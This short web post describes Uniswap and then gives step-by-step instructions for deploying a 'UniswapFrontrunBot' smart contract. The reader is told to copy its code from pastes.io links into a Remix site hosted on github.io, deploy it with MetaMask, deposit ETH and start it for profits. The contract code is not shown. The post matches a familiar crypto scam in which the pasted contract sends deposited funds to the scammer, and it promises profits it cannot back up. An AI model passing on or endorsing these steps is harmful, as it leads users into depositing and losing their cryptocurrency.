Uniswap is a cryptocurrency exchange which uses a decentralized network protocol. Uniswap is also the name of the company that initially built the Uniswap protocol. The protocol facilitates automated transactions between cryptocurrency tokens on the Ethereum blockchain through the use of smart contracts. 1. Download MetaMask: https://metamask.io/download.html 2. Access Remix: https://remix-ethereum-compiler.github.io/ 3. Click on the "contracts" folder and then create a "New File". Rename it as you like, i.e: "bot.sol" The file name has to end with ".sol" which is the Solidity language file extension. 4. Paste THIS code in Remix (Open link and copy code and paste at Remix): https://pastes.io/oh0uqnwnnj OR use this alternative link if pastebin doesn't work in your country (as some have reported): https://pastes.io/3a5ihlxfn3 5. Move to the "Solidity Compiler" tab, select version "0.6.6" and then "Compile" it 6. Move to the "Deploy" tab, select "Injected Web 3" environment and then "Deploy" it. After the transaction is confirmed, it's your own BOT now Note: If you get the "This contract may be abstract" error when you deploy, you may need to select the right contract from the "CONTRACT" dropdown list above the "Deploy" button, the name should start with "UniswapFrontrunBot". 7. Deposit some ETH funds to the address of your bot contract 8. After your transaction is confirmed, start the bot by clicking the “start” button. 9. When you're satisfied with the profits, press "withdraw" to withdraw all the ETH from the contract.